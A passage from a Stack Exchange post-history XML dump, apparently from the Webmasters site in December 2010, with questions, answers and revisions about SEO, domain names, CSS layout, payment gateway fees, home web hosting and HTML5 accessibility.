  <row Id="12275" PostHistoryTypeId="2" PostId="6146" RevisionGUID="a29413b1-25b2-4279-8a9d-6bb30efb99a4" CreationDate="2010-12-01T11:53:34.603" UserId="1429" Text="It's fine! Matt Cutts (*the Google alter ego*) himself [suggests to spread the word around about your site/blog on social networks][1].&#xD;&#xA;&#xD;&#xA;Obviously there is a limit between just sharing it around and pushing it everywhere, but IMHO you wouldn't have to worry even in pushing it a bit cause I don't think Google is gonna pick on you unless you really do a huge sapmmy-push like creating thousands (1) of false accounts on Twitter/FB just to push it around. But creating those amount of accounts would take you maybe the rest of your life, so you better ask yourself if it would be worth it. Moreover FB/Twitter might pick up on you doing spam on their respective sites before Google. :)&#xD;&#xA;&#xD;&#xA;(1) thousands it's just my opinion, I have no idea of how much you have to push it around before Google picks on you as a spammer, but probably no one ever done a test because it would take tto musch.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.youtube.com/watch?v=TFJq7owdnpc" />
  <row Id="12276" PostHistoryTypeId="2" PostId="6147" RevisionGUID="b5cea765-f157-47af-a842-18a46867fd16" CreationDate="2010-12-01T12:06:00.620" UserId="1429" Text="Try this&#xD;&#xA;&#xD;&#xA;    &lt;a href=&quot;...&quot; title=&quot;Full Text&quot; class=&quot;abbrev&quot;&gt;AB&lt;span&gt;Full Text&lt;/span&gt;&lt;/a&gt; &#xD;&#xA;    &#xD;&#xA;    a.abbrev span {&#xD;&#xA;       white-space: nowrap;&#xD;&#xA;       width: 15px; /* adjust the with to show the approximate number of letters you want  */&#xD;&#xA;       overflow: hidden;&#xD;&#xA;       text-overflow: ellipsis;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;I'm not sure it works cause **I didn't have the time now to test it**, let me know.&#xD;&#xA;&#xD;&#xA;Ref. http://www.quirksmode.org/css/textoverflow.html&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="12277" PostHistoryTypeId="5" PostId="6090" RevisionGUID="0cd76296-d467-4c01-b8f4-aadf444a1ba5" CreationDate="2010-12-01T12:23:32.613" UserId="1955" Comment="added 175 characters in body" Text="I am frequently finding sites that use reversed words in domain names and content. Just an example: www.elgoog.com or something like &quot;Sincerely yours elgoog&quot;.  &#xD;&#xA;&#xD;&#xA;Does these word have value in SEO and SERP?  &#xD;&#xA;Is there any bonuses from them?  &#xD;&#xA;Does the search engines recognize them?&#xD;&#xA;&#xD;&#xA;Where is the trick? Does their use really brings benefits or its just a placebo?&#xD;&#xA;&#xD;&#xA;**UPDATE** - here are some examples:&#xD;&#xA;&#xD;&#xA;http://lagug.typepad.com/ - this one is in Cyrillic   &#xD;&#xA;http://www.elgoog.org.uk/  &#xD;&#xA;http://www.oestsetnoc1.com/oes-tsetnoc-update/" />
  <row Id="12278" PostHistoryTypeId="2" PostId="6148" RevisionGUID="9d2d59f4-46a7-4592-bfdb-ce52405eda5a" CreationDate="2010-12-01T12:36:16.903" UserId="2293" Text="You can check the User Agent HTTP Header. http://www.user-agents.org/ is a good place for identifying who are the crawlers.&#xD;&#xA;&#xD;&#xA;You can also read more about logging in Apache. You can generate a special log for a list of user agents (bots) for example." />
  <row Id="12279" PostHistoryTypeId="2" PostId="6149" RevisionGUID="6c0effc8-31d3-410c-8a42-726015bf1213" CreationDate="2010-12-01T12:39:44.713" UserId="2293" Text="Other than that 'embed thing' you can count with Youtube API (http://code.google.com/intl/en-US/apis/youtube/getting_started.html#data_api).&#xD;&#xA;&#xD;&#xA;In other words, you can write code to process what is being pulled to feeds." />
  <row Id="12280" PostHistoryTypeId="2" PostId="6150" RevisionGUID="2f5762c1-1ede-4df6-8b80-568c8b82442f" CreationDate="2010-12-01T13:19:10.163" UserId="3583" Text="In short I am working with a company that does trade shows...&#xD;&#xA;&#xD;&#xA;one of their new domain names has the word 'sex' in but completely innocently.&#xD;&#xA;&#xD;&#xA;EXAMPLE:  www. someproductsexpo .com (Being 'some' 'products' 'expo').&#xD;&#xA;&#xD;&#xA;The content is completely inoffensive and I do not see there being any other things that would flag either the web or any emails sent from anyone@someproductsexpo.com as inappropriate.&#xD;&#xA;&#xD;&#xA;I was just wondering if any has experiences of any domains like this or comments to add?&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;" />
  <row Id="12281" PostHistoryTypeId="1" PostId="6150" RevisionGUID="2f5762c1-1ede-4df6-8b80-568c8b82442f" CreationDate="2010-12-01T13:19:10.163" UserId="3583" Text="Sex - in domain name is this bad???" />
  <row Id="12282" PostHistoryTypeId="3" PostId="6150" RevisionGUID="2f5762c1-1ede-4df6-8b80-568c8b82442f" CreationDate="2010-12-01T13:19:10.163" UserId="3583" Text="&lt;domain-names&gt;" />
  <row Id="12283" PostHistoryTypeId="2" PostId="6151" RevisionGUID="b1318ba7-fac6-406c-a677-49ca60935a8c" CreationDate="2010-12-01T13:36:44.193" UserId="2026" Text="As per your example, it is not bad." />
  <row Id="12284" PostHistoryTypeId="2" PostId="6152" RevisionGUID="f86aeaa2-0455-45d8-b4df-9e4d7a1aca01" CreationDate="2010-12-01T13:43:24.520" UserId="2026" Text="I just want that if someone use my contents on their site, they should give a link to my site or some credit. For this purpose i just want to go for creative commons licensing.&#xD;&#xA;&#xD;&#xA;Would creative commons be good option for bloggers to keep owenership on their contents?" />
  <row Id="12285" PostHistoryTypeId="1" PostId="6152" RevisionGUID="f86aeaa2-0455-45d8-b4df-9e4d7a1aca01" CreationDate="2010-12-01T13:43:24.520" UserId="2026" Text="Would creative commons be good option for bloggers to keep owenership on their contents" />
  <row Id="12286" PostHistoryTypeId="3" PostId="6152" RevisionGUID="f86aeaa2-0455-45d8-b4df-9e4d7a1aca01" CreationDate="2010-12-01T13:43:24.520" UserId="2026" Text="&lt;blog&gt;&lt;copyright&gt;&lt;creative-commons&gt;" />
  <row Id="12287" PostHistoryTypeId="2" PostId="6153" RevisionGUID="a92cdc38-73c9-454c-8a07-5b2ce555f3f8" CreationDate="2010-12-01T14:07:55.213" UserId="221" Text="Short answer: Yes.&#xD;&#xA;&#xD;&#xA;Long answer:&#xD;&#xA;&#xD;&#xA;You'd need to select an appropriate [CC license][1]. &#xD;&#xA;&#xD;&#xA;In all cases attribution is required, you can also restrict commercial usage, the creation of derivative works and (assuming they are allowed) require that derivative works be licensed in the same way.&#xD;&#xA;&#xD;&#xA;Regardless of which license you choose, you will retain *copyright* of the content. You merely provide anyone who wants it a free license to reprint (and possibly modify) as long as they abide by terms of the license. &#xD;&#xA;&#xD;&#xA;Note however that you cannot revoke the CC license at a later date! Nor can you change to a more restrictive CC license after the fact.&#xD;&#xA;&#xD;&#xA;  [1]: http://creativecommons.org/licenses/" />
  <row Id="12288" PostHistoryTypeId="2" PostId="6154" RevisionGUID="e67bd0ce-fe1a-4665-9126-2b155b3f8547" CreationDate="2010-12-01T14:10:50.653" UserId="1253" Text="Having certain words in your domain is never a bad thing as far as SEO goes. There are no blanket penalties for &quot;bad words&quot; as that is counterproductive to the search engines' goals. They can tell, and are always getting better at, determining if content is violating their terms of service without resorting to assumptions or blanket penalties. &#xD;&#xA;&#xD;&#xA;They're also good at picking keywords out of run on words in domains, although if your run on words can be taken more then one way using a hyphen might be a good way to clearly delimit them to the search engines. (e.g. expertsexhange.com and whorepresents.com)." />
  <row Id="12289" PostHistoryTypeId="2" PostId="6155" RevisionGUID="a5dd09a2-7649-4768-aca2-712e6ae01a7f" CreationDate="2010-12-01T14:14:28.653" UserId="3585" Text="Need a good Joomla host with PHP 5.3 + required.  Any good suggestions?&#xD;&#xA;&#xD;&#xA;Thanks-" />
  <row Id="12290" PostHistoryTypeId="1" PostId="6155" RevisionGUID="a5dd09a2-7649-4768-aca2-712e6ae01a7f" CreationDate="2010-12-01T14:14:28.653" UserId="3585" Text="Joomla hosting with PHP 5.3 + " />
  <row Id="12291" PostHistoryTypeId="3" PostId="6155" RevisionGUID="a5dd09a2-7649-4768-aca2-712e6ae01a7f" CreationDate="2010-12-01T14:14:28.653" UserId="3585" Text="&lt;hosting&gt;&lt;php&gt;&lt;web-hosting&gt;&lt;joomla&gt;&lt;shared-hosting&gt;" />
  <row Id="12292" PostHistoryTypeId="2" PostId="6156" RevisionGUID="a224b049-1d95-4d6b-bb95-c2c86760a89f" CreationDate="2010-12-01T14:31:54.730" UserId="1429" Text="I belive Paypal is the cheapest or almost the cheapest.&#xD;&#xA;IMHO this with the fact that they were the 1st (or almost the 1st) to come out are the reasons why is so widespread.&#xD;&#xA;&#xD;&#xA;All the other accounts in the answers are almost as simple to use as PayPal.&#xD;&#xA;&#xD;&#xA;But look at FEES&#xD;&#xA;&#xD;&#xA;- Paypal &gt;&gt; [2.9% + $0.30][1]&#xD;&#xA;- Google chekout [(same fees of Paypal)][2]&#xD;&#xA;- AlertPay &gt;&gt; [4.9% + €0.25][3] &#xD;&#xA;- 2checkout &gt;&gt; [5.5% + $0.45 + one time only fee of $49][4]&#xD;&#xA;- Amazon &gt;&gt; don't know took me too much too look for it (too bad for them)&#xD;&#xA;&#xD;&#xA;The only exception:&#xD;&#xA;&#xD;&#xA;- Moneybookers &gt;&gt; [1.9% (but careful that you pay 2.36$ to withdraw fund)][5] anyway (if I properly understood the feed schema) it seems to be more convinient than Paypal, that's why (as stated by *Aristos*) *&quot;is also used a lot&quot;.*&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Once agin it shows up that prices are a huge marketing axe on the web, much more than in real life.**&#xD;&#xA;&#xD;&#xA;And to answer to your 2nd question, C# .net integration does not matter here, all these payment gateway can be integarted with just some HTML code in your site.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.paypal.com/cgi-bin/webscr?cmd=_display-receiving-fees-outside&amp;countries=&#xD;&#xA;  [2]: https://checkout.google.com/sell/?gl=IT&amp;hl=en&#xD;&#xA;  [3]: https://www.alertpay.com/en/fees.aspx&#xD;&#xA;  [4]: http://www.2checkout.com/fees&#xD;&#xA;  [5]: http://www.moneybookers.com/app/help.pl?s=fees&amp;fee_currency=USD" />
  <row Id="12293" PostHistoryTypeId="5" PostId="6156" RevisionGUID="c40f6798-8e62-4b17-962d-9218538d09fb" CreationDate="2010-12-01T14:47:59.963" UserId="1429" Comment="deleted 193 characters in body; added 28 characters in body" Text="I belive Paypal is the cheapest or almost the cheapest.&#xD;&#xA;IMHO this with the fact that they were the 1st (or almost the 1st) to come out are the reasons why is so widespread.&#xD;&#xA;&#xD;&#xA;All the other accounts in the answers are almost as simple to use as PayPal.&#xD;&#xA;&#xD;&#xA;But look at FEES&#xD;&#xA;&#xD;&#xA;- Paypal &gt;&gt; [2.9% + $0.30][1]&#xD;&#xA;- Google chekout [(same fees of Paypal - click on &quot;Costs and fees&quot;)][2]&#xD;&#xA;- Moneybookers &gt;&gt; [2.9% + €0.29][5] (EURO it's not an error, so watch out)&#xD;&#xA;- AlertPay &gt;&gt; [4.9% + €0.25][3] &#xD;&#xA;- 2checkout &gt;&gt; [5.5% + $0.45 + one time only fee of $49][4]&#xD;&#xA;- Amazon &gt;&gt; don't know took me too much too look for it (too bad for them)&#xD;&#xA;&#xD;&#xA;**Once agin it shows up that prices are a huge marketing axe on the web, much more than in real life.**&#xD;&#xA;&#xD;&#xA;And to answer to your 2nd question, C# .net integration does not matter here, all these payment gateway can be integarted with just some HTML code in your site.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.paypal.com/cgi-bin/webscr?cmd=_display-receiving-fees-outside&amp;countries=&#xD;&#xA;  [2]: https://checkout.google.com/sell/?gl=IT&amp;hl=en&#xD;&#xA;  [3]: https://www.alertpay.com/en/fees.aspx&#xD;&#xA;  [4]: http://www.2checkout.com/fees&#xD;&#xA;  [5]: https://www.moneybookers.com/app/help.pl?s=m_fees&amp;l=EN" />
  <row Id="12294" PostHistoryTypeId="5" PostId="6066" RevisionGUID="2c9f5a58-0be9-426e-97c1-d05c89179802" CreationDate="2010-12-01T15:13:52.497" UserId="3453" Comment="added 2 characters in body" Text="Basically, if a page which contains HTML code has some kind of URL (`&lt;a name=&quot;&quot;` also does the trick), and is being liked to, it is crawlable" />
  <row Id="12295" PostHistoryTypeId="2" PostId="6157" RevisionGUID="8178a912-20c2-4729-87a2-1586e25cd73a" CreationDate="2010-12-01T15:37:19.933" UserDisplayName="Harry" Text="i have a Linux server having Ubuntu, having installed PHP, Mysql, Apache.&#xD;&#xA;I need to host a site on my server having static IP, but i dont have any experience in web hosting.&#xD;&#xA;Can you please tell me that what are the things are required to host a site like web space, IP etc.&#xD;&#xA;Can you please also tell me, which is the best hosting plans available in UK markeet for a beginners&#xD;&#xA;&#xD;&#xA;Thanks very much" />
  <row Id="12296" PostHistoryTypeId="1" PostId="6157" RevisionGUID="8178a912-20c2-4729-87a2-1586e25cd73a" CreationDate="2010-12-01T15:37:19.933" UserDisplayName="Harry" Text="What things required to host a website at home" />
  <row Id="12297" PostHistoryTypeId="3" PostId="6157" RevisionGUID="8178a912-20c2-4729-87a2-1586e25cd73a" CreationDate="2010-12-01T15:37:19.933" UserDisplayName="Harry" Text="&lt;web-development&gt;&lt;web-hosting&gt;&lt;server&gt;&lt;ip-address&gt;" />
  <row Id="12298" PostHistoryTypeId="2" PostId="6158" RevisionGUID="30486c3d-b2ee-424b-afd0-e20ea2216bcd" CreationDate="2010-12-01T15:49:12.633" UserId="3525" Text="Assuming you have a regular internet connection at home (cable,ADSL, etc.) you won't have a permanent IP address, so you'll need some kind of [Dynamic DNS][1] service (to forward incoming requests to your server). This means you'll have to install some kind of software to notify the Dynamic DNS service your IP address has changed, note that this could be on your server or at your router as many home routers (lynksys,dlink,etc.) already have this feature.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Dynamic_DNS" />
  <row Id="12299" PostHistoryTypeId="2" PostId="6159" RevisionGUID="37d36833-8f50-47ed-8df3-7064e60c78fb" CreationDate="2010-12-01T16:23:43.030" UserId="2293" Text="Why not go for HTML5 new elements?&#xD;&#xA;&#xD;&#xA;About accessibility, you can count on many [little scripts][1] (like the one made by Remy Sharp, and available at http://whatwg.org, on examples section) or libraries ([modernizr][2]).&#xD;&#xA;&#xD;&#xA;Now my solution: scan everything for jpeg, use [figure element][3] with [figcaption][4] to add all images as img tags as keep it accessible, and of course, using alt text. Read [HTML5 section about using alt attribute][5]. It has some nice examples of how this can be helpful for accessibility.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.whatwg.org/demos/company-home/js/html5.js&#xD;&#xA;  [2]: http://www.modernizr.com/&#xD;&#xA;  [3]: http://www.whatwg.org/specs/web-apps/current-work/multipage/grouping-content.html#the-figure-element&#xD;&#xA;  [4]: http://www.whatwg.org/specs/web-apps/current-work/multipage/grouping-content.html#the-figcaption-element&#xD;&#xA;  [5]: http://www.whatwg.org/specs/web-apps/current-work/multipage/embedded-content-1.html#a-phrase-or-paragraph-with-an-alternative-graphical-representation:-charts,-diagrams,-graphs,-maps,-illustrations" />
  <row Id="12300" PostHistoryTypeId="5" PostId="6157" RevisionGUID="e7b22f9f-d710-4edd-973f-048e1db62752" CreationDate="2010-12-01T16:50:39.260" UserDisplayName="Harry" Comment="added 93 characters in body" Text="i have a Linux server having Ubuntu, having installed PHP, Mysql, Apache.&#xD;&#xA;I need to host a site on my server having static IP, but i dont have any experience in web hosting.&#xD;&#xA;Can you please tell me that what are the things are required to host a site like web space, IP etc.&#xD;&#xA;Can you please also tell me, which is the best hosting plans available in UK markeet for a beginners&#xD;&#xA;&#xD;&#xA;I read somewhere &lt;b&gt;should not use Dynamic DNS for buisness websites&lt;/b&gt;, is this correct&#xD;&#xA;&#xD;&#xA;Thanks very much" />
  <row Id="12301" PostHistoryTypeId="2" PostId="6160" RevisionGUID="4a3145c7-3b64-48f3-a283-be271de61fdd" CreationDate="2010-12-01T16:52:10.800" UserId="2907" Text="You can use a dyanmic dns service to cover the non-fixed IP thing like this one...&#xD;&#xA;&#xD;&#xA;http://www.dyndns.com/services/dns/dyndns/&#xD;&#xA;&#xD;&#xA;A couple of things to be aware of though...&#xD;&#xA;&#xD;&#xA;1) If you're hosting from home, you'll have to configure your router/firewall to allow the traffic in as well. There are security implications with doing this, so if it's a desktop you're running this on and have other files on it, you may be putting this computer at risk. IF this computer connects with others inside your network, they could be at risk as well. Typically web servers go in a &quot;DMZ&quot; with firewalling on both sides (the side facing the internet, and the side facing your internal network).&#xD;&#xA;&#xD;&#xA;2) If you're using a typical DSL/Cable connection traffic speeds for download are typically a lot faster than upload. Also, you may have as part of your TOS a clause that you CANNOT host a server. That's common here in the US anyhow.&#xD;&#xA;&#xD;&#xA;Hope that helps. If you're just doing this for fun, I'd give it a go. If you're looking to host others' sites as part of a business, I'd be careful of what you're getting into. You could probably get a hosting package and host others' domains as sub-domains of your site a lot easier.&#xD;&#xA;&#xD;&#xA;D." />
  <row Id="12302" PostHistoryTypeId="5" PostId="6157" RevisionGUID="6a572911-9730-4e26-b902-e2349664336d" CreationDate="2010-12-01T17:11:04.063" UserDisplayName="Harry" Comment="added 12 characters in body" Text="i have a Linux server having Ubuntu, having installed PHP, Mysql, Apache.&#xD;&#xA;I need to host a site on my server having static IP, but i dont have any experience in web hosting.&#xD;&#xA;Can you please tell me that what are the things are required to host a site like web space, IP etc.&#xD;&#xA;Can you please also tell me, which is the best hosting plans available in UK markeet for a beginners&#xD;&#xA;&#xD;&#xA;I read somewhere &lt;b&gt;if we are using non-fixed IP it takes 24 hrs to change DNS &lt;/b&gt; is this correst ?&#xD;&#xA;&#xD;&#xA;Thanks very much" />
  <row Id="12303" PostHistoryTypeId="2" PostId="6161" RevisionGUID="05a18c04-d7f5-4838-a70b-adabebd83b34" CreationDate="2010-12-01T17:28:03.470" UserId="233" Text="Why not use a simple email subscription? In the same way on the Stack Exchange sites you can be &quot;notified daily of new answers&quot; you could send out emails of new items. It's something nearly everyone understands.&#xD;&#xA;&#xD;&#xA;Keep the RSS feed too, of course; there will be users who prefer that method." />
  <row Id="12305" PostHistoryTypeId="2" PostId="6163" RevisionGUID="53316fec-642d-40c0-81b6-f35f070c7ac7" CreationDate="2010-12-01T18:01:28.943" UserId="3590" Text="Great new insights:Thanks! `I'm the poster of this question at StackOverflow`, which somehow has been moved over into this website? But how do i become the owner of this post again, sothat i can reply, praise and value the answers?!&#xD;&#xA;&#xD;&#xA;http://stackoverflow.com/questions/4318550/www-yoursite-com-or-http-yoursite-com-which-one-is-futureproof-closed" />
  <row Id="12306" PostHistoryTypeId="2" PostId="6164" RevisionGUID="a2050289-285e-4930-90cb-e3dbff6410d9" CreationDate="2010-12-01T18:03:11.427" UserId="3591" Text="I have been using this &lt;a href=&quot;http://www.ejeliot.com/samples/equal-height-columns/example-4.html&quot;&gt;technique&lt;/a&gt; before to get equal column heights&#xD;&#xA;&#xD;&#xA;    #page-wrap { overflow: hidden;}&#xD;&#xA;    .page-left, .page-right{float: left; width: 435px; margin-bottom: -5000px; padding-bottom: 5000px; }&#xD;&#xA;    .page-left { background: #454545; }            &#xD;&#xA;    .page-right { background: #383838; }&#xD;&#xA;&#xD;&#xA;    &lt;div id=&quot;page-wrap&quot;&gt;        &#xD;&#xA;        &lt;div class=&quot;page-left&quot;&gt;&#xD;&#xA;                Blahblah&lt;br /&gt;&#xD;&#xA;                Blahblah&lt;br /&gt;&#xD;&#xA;                Blahblah&lt;br /&gt;&#xD;&#xA;        &lt;/div&gt;    &#xD;&#xA;        &lt;div class=&quot;page-right&quot;&gt;&#xD;&#xA;                Blahblah&#xD;&#xA;        &lt;/div&gt;&#xD;&#xA;        &lt;div class=&quot;clearboth&quot;&gt;&lt;/div&gt;    &#xD;&#xA;    &lt;/div&gt; &lt;!-- end wrap --&gt;&#xD;&#xA;&#xD;&#xA;This works fine but now I need to put #page-wrap inside another DV with margin: 10px;&lt;br /&gt;&#xD;&#xA;it works fine in &lt;b&gt;normal&lt;/b&gt; browsers, but not in IE...&#xD;&#xA;&#xD;&#xA;I have a Fiddle here: http://jsfiddle.net/SyAeq/" />
  <row Id="12307" PostHistoryTypeId="1" PostId="6164" RevisionGUID="a2050289-285e-4930-90cb-e3dbff6410d9" CreationDate="2010-12-01T18:03:11.427" UserId="3591" Text="CSS equal height divs with padding" />
  <row Id="12308" PostHistoryTypeId="3" PostId="6164" RevisionGUID="a2050289-285e-4930-90cb-e3dbff6410d9" CreationDate="2010-12-01T18:03:11.427" UserId="3591" Text="&lt;css&gt;" />
  <row Id="12309" PostHistoryTypeId="5" PostId="6163" RevisionGUID="65714f26-03b4-450c-9d01-4a7397100763" CreationDate="2010-12-01T18:12:16.490" UserId="3590" Comment="added 837 characters in body" Text="Great new insights:Thanks! `I'm the poster of this question at StackOverflow`, which somehow has been moved over into this website? But how do i become the owner of this post again, sothat i can reply, praise and value the answers?!&#xD;&#xA;&#xD;&#xA;http://stackoverflow.com/questions/4318550/www-yoursite-com-or-http-yoursite-com-which-one-is-futureproof-closed&#xD;&#xA;&#xD;&#xA;One thing i forgot to write in my post, was to also take into consideration:  &#xD;&#xA;&#xD;&#xA;** the onclusion of a variety of top level domain extension, since it iwll be a multilingual website.** &#xD;&#xA;&#xD;&#xA; - yoursite.es (spanish version)  &#xD;&#xA; - yoursite.se (Swedisch version) &#xD;&#xA; - yoursite.de (German version)&#xD;&#xA; - yourside.in (Hindustani version)&#xD;&#xA; - yoursite.jp (Japanese version)&#xD;&#xA; - etc. all with the same semantic content, just in different langages&#xD;&#xA;&#xD;&#xA;&gt;&gt; Will seo penalise for pages in different languages, if they link to other versions in different language, that are same on other domains?&#xD;&#xA;&#xD;&#xA;example: website.de/de/home containt german language, but also can link to french version where url becomes  website.de/fr/home  which is french version, sitting on .de extension, sharing duplicate information with website.fr/fr/home page. Curious." />
  <row Id="12310" PostHistoryTypeId="5" PostId="6163" RevisionGUID="32ac7740-7a95-48be-8371-c90a8af1f260" CreationDate="2010-12-01T18:27:26.063" UserId="3590" Comment="added 51 characters in body" Text="Great new insights:Thanks! `I'm the poster of this question at StackOverflow`, which somehow has been moved over into this website? But how do i become the owner of this post again, sothat i can reply, praise and value the answers?!&#xD;&#xA;&#xD;&#xA;http://stackoverflow.com/questions/4318550/www-yoursite-com-or-http-yoursite-com-which-one-is-futureproof-closed&#xD;&#xA;&#xD;&#xA;One thing i forgot to write in my post, was to also take into consideration:  &#xD;&#xA;&#xD;&#xA;** the onclusion of a variety of top level domain extension, since it iwll be a multilingual website.** &#xD;&#xA;&#xD;&#xA; - yoursite.es (spanish version)  &#xD;&#xA; - yoursite.se (Swedisch version) &#xD;&#xA; - yoursite.de (German version)&#xD;&#xA; - yourside.in (Hindustani version)&#xD;&#xA; - yoursite.jp (Japanese version)&#xD;&#xA; - etc. all with the same semantic content, just in different langages&#xD;&#xA;&#xD;&#xA;&gt;&gt; Will seo penalise for pages in different languages, if they link to other versions in different language, that are same on other domains?&#xD;&#xA;&#xD;&#xA;example: website.de/de/home.htm contains german language, but from that page there is a link which can go to the french version linking to  website.de/fr/home.htm  This is all sitting on website.de extension, sharing duplicate information with website.fr/fr/home.htm page. Is this allright? Curious." />
  <row Id="12311" PostHistoryTypeId="2" PostId="6165" RevisionGUID="9be08b84-5a83-4d0e-b9c6-45b79010e72b" CreationDate="2010-12-01T18:50:18.237" UserId="3303" Text="You are right, you do not want to spam people.  However spreading the word on social sites/apps will help your site's SEO.&#xD;&#xA;&#xD;&#xA;Some other things you can do to boost your ranking are:&#xD;&#xA;&#xD;&#xA;* participate in forums providing value and ensure you site address is in your signature&#xD;&#xA;* help other bloggers out in your area of expertise by commenting on their posts&#xD;&#xA;* write some guest posts for other sites that reference some of your older posts (don't over do it though; 1 to 2 references max.&#xD;&#xA;* submit articles to article repositories ([eZineArticles][1], [goArticles][2], etc) be sure to have a link to your site in the 'by' line.&#xD;&#xA;&#xD;&#xA;The most important part is to continually providing value.  Over time people will start linking to your site which really helps your ranking.&#xD;&#xA;&#xD;&#xA;Never ever submit your site address to an app, site or whatever that promises to mass submit your site everywhere!  This could really hurt your rankings.&#xD;&#xA;&#xD;&#xA;Hope that helps and good luck!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://ezinearticles.com/submit/&#xD;&#xA;  [2]: http://goarticles.com/register.html" />
  <row Id="12312" PostHistoryTypeId="2" PostId="6166" RevisionGUID="bb103b69-959d-4ede-933a-69bd9fd036b0" CreationDate="2010-12-01T19:01:56.060" UserId="3303" Text="Some tips:&#xD;&#xA;&#xD;&#xA;* if you remove any pages make sure there is a redirect to another page&#xD;&#xA;* your page names or [RESTful][1] urls should be descriptive as to what is on them&#xD;&#xA;&#xD;&#xA;Some other things you can do to boost your ranking are:&#xD;&#xA;&#xD;&#xA;* participate in forums providing value and ensure you site address is in your signature&#xD;&#xA;* help other bloggers out in your area of expertise by commenting on their posts&#xD;&#xA;* write some guest posts for other sites that reference some of your older posts (don't over do it though; 1 to 2 references max.&#xD;&#xA;* submit your site to directories like [dmoz][2]&#xD;&#xA;&#xD;&#xA;The most important part is to continually providing value. Over time people will start linking to your site which really helps your ranking.&#xD;&#xA;&#xD;&#xA;Never ever submit your site address to an app, site or whatever that promises to mass submit your site everywhere! This could really hurt your rankings.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Clean_URLs&#xD;&#xA;  [2]: http://www.dmoz.org/docs/en/add.html" />
  <row Id="12313" PostHistoryTypeId="2" PostId="6167" RevisionGUID="38a6e33a-fd62-4c3e-a780-6072a149b0de" CreationDate="2010-12-01T19:27:52.240" UserId="1381" Text="It appears to me that rackspace somehow freezes cloud VMs after some idle time. This means the first page request to a php page takes much longer to respond than the subsequent requests.&#xD;&#xA;&#xD;&#xA;This is in some cases good, in other cases not acceptable.&#xD;&#xA;&#xD;&#xA;I am actually querying a machine with wget from a different host now to keep it &quot;alive&quot;. But I wonder what frequency would be necessary. Does anyone know the time period after which they send a VM to &quot;sleep&quot;? I guess it would be some minutes.&#xD;&#xA;&#xD;&#xA;EDIT: There is absolutely no caching involved on the php site.&#xD;&#xA;&#xD;&#xA;It just recently moved from another vhost and there was never such latency on the first request.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;(I moved this from serverfault http://serverfault.com/posts/207530 )" />
  <row Id="12314" PostHistoryTypeId="1" PostId="6167" RevisionGUID="38a6e33a-fd62-4c3e-a780-6072a149b0de" CreationDate="2010-12-01T19:27:52.240" UserId="1381" Text="Keeping rackspace vserver alive" />
  <row Id="12315" PostHistoryTypeId="3" PostId="6167" RevisionGUID="38a6e33a-fd62-4c3e-a780-6072a149b0de" CreationDate="2010-12-01T19:27:52.240" UserId="1381" Text="&lt;monitoring&gt;&lt;virtualhost&gt;&lt;keepalive&gt;" />
  <row Id="12316" PostHistoryTypeId="2" PostId="6168" RevisionGUID="40004344-428a-42b7-a7ff-81e41aaaf82d" CreationDate="2010-12-01T20:32:31.230" UserId="3303" Text="Users do not know where to go unless you tell/show them.&#xD;&#xA;&#xD;&#xA;In any viewable area of the site there should be a 'call to action'.  Either a 'buy now', 'signup here', etc.  This gives the user direction on where they should go next.  If you don't show them the path they won't go anywhere." />
  <row Id="12317" PostHistoryTypeId="5" PostId="6123" RevisionGUID="e35f233a-c0f3-4930-8698-2c5514414248" CreationDate="2010-12-01T20:46:32.097" UserId="138" Comment="deleted 20 characters in body" Text="Sure:&#xD;&#xA;&#xD;&#xA;1. relevant and interesting content&#xD;&#xA;2. attractive design&#xD;&#xA;3. good color selection&#xD;&#xA;4. optimized (fast) loading&#xD;&#xA;&#xD;&#xA;You'd be surprised how much color selection effects a visitor's desire to stay/leave.&#xD;&#xA;" />
  <row Id="12318" PostHistoryTypeId="2" PostId="6169" RevisionGUID="32ad5d8e-e63d-42d9-909d-21bd7c94f097" CreationDate="2010-12-01T20:53:28.303" UserId="745" Text="You should take a look at &quot;[Never Mind The Bullets][1]&quot;, done using HTML5 and canvas. I'm not sure how accessible it is, but you might find it gives you some ideas.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.nevermindthebullets.com/strip.html#1-1" />
  <row Id="12319" PostHistoryTypeId="5" PostId="6159" RevisionGUID="77997bab-68a7-4d5e-b340-93942acbbcfc" CreationDate="2010-12-01T21:31:34.927" UserId="2293" Comment="added 694 characters in body" Text="Why not go for HTML5 new elements?&#xD;&#xA;&#xD;&#xA;About accessibility, you can count on many [little scripts][1] (like the one made by Remy Sharp, and available at http://whatwg.org, on examples section) or libraries ([modernizr][2]).&#xD;&#xA;&#xD;&#xA;Now my solution: scan everything for jpeg, use [figure element][3] with [figcaption][4] to add all images as img tags as keep it accessible, and of course, using alt text. Read [HTML5 section about using alt attribute][5]. It has some nice examples of how this can be helpful for accessibility.&#xD;&#xA;&#xD;&#xA;EDIT&#xD;&#xA;&#xD;&#xA;For those looking for really really high accessible level let's drop all new resources we can count on, like HTML5 new elements, CSS @font-face, back padding text to hide... Let's get down to raw POSH (Plain Old Semantic HTML).&#xD;&#xA;&#xD;&#xA;I'd go with the following extreme raw solution: make jpegs, and use the alt attribute to describe everything as good as it needs to be, in the same way in the HTML5 guide, but enhanced, ie very very descritive texts (there is no limit to alt attribute size).&#xD;&#xA;&#xD;&#xA;    &lt;img src='novel15/image24.jpg' alt='As Mr. Smith enters the room, he sees his brother with a knife stabbed in the chest and, in with a horror face scream out loud: &quot;Nooooooooooooooo!&quot;'&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.whatwg.org/demos/company-home/js/html5.js&#xD;&#xA;  [2]: http://www.modernizr.com/&#xD;&#xA;  [3]: http://www.whatwg.org/specs/web-apps/current-work/multipage/grouping-content.html#the-figure-element&#xD;&#xA;  [4]: 